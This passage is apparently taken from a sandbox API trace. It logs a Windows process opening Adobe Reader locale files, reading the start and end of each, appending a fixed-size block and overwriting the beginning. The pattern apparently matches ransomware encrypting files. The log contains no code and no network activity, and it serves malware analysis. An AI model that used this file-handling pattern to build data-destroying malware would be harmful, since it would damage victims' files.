SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0038.473] WriteFile (in: hFile=0x12c, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x354f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0038.473] CloseHandle (hObject=0x12c) returned 1 [0038.473] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Multimedia.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\multimedia.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.474] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.474] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x14200 [0038.474] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.474] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.474] ReleaseMutex (hMutex=0x128) returned 1 [0038.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ITA", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ITA", cchWideChar=14, lpMultiByteStr=0x1e630cc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.ITA", lpUsedDefaultChar=0x0) returned 14 [0038.474] ReadFile (in: hFile=0x12c, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.478] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x13200 [0038.478] ReadFile (in: hFile=0x12c, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.481] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x13200 [0038.481] WriteFile (in: hFile=0x12c, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.481] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.481] WriteFile (in: hFile=0x12c, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.482] CloseHandle (hObject=0x12c) returned 1 [0038.482] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.482] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.482] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe7 [0038.482] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.482] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.482] ReleaseMutex (hMutex=0x128) returned 1 [0038.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0038.482] ReadFile (in: hFile=0x12c, lpBuffer=0x25ea548, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ea548*, lpNumberOfBytesRead=0x354f2bc*=0xe7, lpOverlapped=0x0) returned 1 [0038.483] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0038.483] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66f, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x66f, lpOverlapped=0x0) returned 1 [0038.483] CloseHandle (hObject=0x12c) returned 1 [0038.484] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DigSig.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\digsig.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.896] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.901] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x14e00 [0038.902] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.902] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.904] ReleaseMutex (hMutex=0x128) returned 1 [0038.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.JPN", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.JPN", lpUsedDefaultChar=0x0) returned 10 [0038.904] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.911] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x13e00 [0038.911] ReadFile (in: hFile=0x184, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.912] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x13e00 [0038.912] WriteFile (in: hFile=0x184, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.913] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.913] WriteFile (in: hFile=0x184, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.913] CloseHandle (hObject=0x184) returned 1 [0038.913] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\ReadOutLoud.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\readoutloud.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.913] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.913] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2400 [0038.913] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.913] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.913] ReleaseMutex (hMutex=0x128) returned 1 [0038.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.JPN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.JPN", cchWideChar=15, lpMultiByteStr=0x1e6320c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.JPN", lpUsedDefaultChar=0x0) returned 15 [0038.914] ReadFile (in: hFile=0x184, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.916] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1400 [0038.916] ReadFile (in: hFile=0x184, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.918] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1400 [0038.918] WriteFile (in: hFile=0x184, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.918] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.919] WriteFile (in: hFile=0x184, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.919] CloseHandle (hObject=0x184) returned 1 [0038.919] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\accessibility.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\accessibility.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.919] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.919] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x7e00 [0038.919] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.919] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.919] ReleaseMutex (hMutex=0x128) returned 1 [0038.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.KOR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.KOR", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.KOR", lpUsedDefaultChar=0x0) returned 17 [0038.920] ReadFile (in: hFile=0x184, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.924] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6e00 [0038.924] ReadFile (in: hFile=0x184, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.926] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6e00 [0038.927] WriteFile (in: hFile=0x184, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.927] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.927] WriteFile (in: hFile=0x184, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.927] CloseHandle (hObject=0x184) returned 1 [0038.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\IA32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ia32.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.928] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.928] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xc00 [0038.928] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.928] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.928] ReleaseMutex (hMutex=0x128) returned 1 [0038.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.KOR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.KOR", cchWideChar=8, lpMultiByteStr=0x1e6324c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.KOR", lpUsedDefaultChar=0x0) returned 8 [0038.928] ReadFile (in: hFile=0x184, lpBuffer=0x25cb968, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25cb968*, lpNumberOfBytesRead=0x354f2bc*=0xc00, lpOverlapped=0x0) returned 1 [0038.982] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0038.982] WriteFile (in: hFile=0x184, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1188, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f2d0*=0x1188, lpOverlapped=0x0) returned 1 [0038.983] CloseHandle (hObject=0x184) returned 1 [0038.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SendMail.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\sendmail.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.983] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.983] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3200 [0038.983] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.983] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.984] ReleaseMutex (hMutex=0x128) returned 1 [0038.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.KOR", cchWideChar=12, lpMultiByteStr=0x1e633ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.KOR", lpUsedDefaultChar=0x0) returned 12 [0038.984] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.995] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2200 [0038.996] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.996] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2200 [0038.996] WriteFile (in: hFile=0x184, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.996] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.996] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.996] CloseHandle (hObject=0x184) returned 1 [0038.996] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\BRdlang32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\brdlang32.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.996] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.997] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3200 [0038.997] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.997] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.997] ReleaseMutex (hMutex=0x128) returned 1 [0038.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NOR", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.NOR", lpUsedDefaultChar=0x0) returned 13 [0038.997] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.007] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2200 [0039.007] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.007] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2200 [0039.007] WriteFile (in: hFile=0x184, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.007] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.007] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.007] CloseHandle (hObject=0x184) returned 1 [0039.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\PPKLITE.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ppklite.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.008] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.008] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x7c000 [0039.008] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: 